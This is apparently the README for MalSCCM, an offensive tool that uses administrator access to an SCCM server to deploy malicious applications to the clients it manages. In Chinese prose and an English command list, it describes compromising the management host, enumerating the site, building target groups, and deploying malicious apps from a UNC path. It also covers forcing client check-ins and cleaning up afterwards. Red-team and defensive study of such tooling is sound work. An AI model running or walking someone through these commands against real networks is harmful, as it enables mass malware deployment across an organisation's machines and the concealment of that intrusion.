此工具允许你利用本地或远程的SCCM服务器向它们管理的客户端部署恶意应用程序。使用此工具时,当前进程必须对SCCM服务器拥有管理员权限。
通常情况下,SCCM的部署会将管理服务器和主服务器放在同一台主机上,此时locate命令返回的主机即可用作主服务器。
如果不是这种情况,你需要先攻陷locate返回的管理主机,然后在那台主机上再次运行locate以获取主服务器的主机名。一旦你获得了主机名和管理员权限,就可以继续操作了!
关于工具用法的更多信息,请参考下面的博客。
特别感谢 PowerSCCM (https://github.com/PowerShellMafia/PowerSCCM) —— 本工具完全基于它开发。没有 @harmj0y、@jaredcatkinson、@enigma0x3、@mattifestation 的工作,这一切都无法完成。
Commands listed below have optional parameters in <>.
Attempt to find the SCCM management and primary servers:
MalSCCM.exe locate
Inspect the primary server to gather SCCM information:
MalSCCM.exe inspect </server:PrimarySiteHostname> </all /computers /deployments /groups /applications /forest /packages /primaryusers>
Create/Modify/Delete Groups to add targets in for deploying malicious apps. Groups can either be for devices or users:
MalSCCM.exe group /create /groupname:example /grouptype:[user|device] </server:PrimarySiteHostname>
MalSCCM.exe group /delete /groupname:example </server:PrimarySiteHostname>
MalSCCM.exe group /addhost /groupname:example /host:examplehost </server:PrimarySiteHostname>
MalSCCM.exe group /adduser /groupname:example /user:exampleuser </server:PrimarySiteHostname>
Create/Deploy/Delete malicious applications:
MalSCCM.exe app /create /name:appname /uncpath:""\\unc\path"" </server:PrimarySiteHostname>
MalSCCM.exe app /delete /name:appname </server:PrimarySiteHostname>
MalSCCM.exe app /deploy /name:appname /groupname:example /assignmentname:example2 </server:PrimarySiteHostname>
MalSCCM.exe app /deletedeploy /name:appname </server:PrimarySiteHostname>
MalSCCM.exe app /cleanup /name:appname </server:PrimarySiteHostname>
Force devices of a group to checkin within a couple minutes:
MalSCCM.exe checkin /groupname:example </server:PrimarySiteHostname>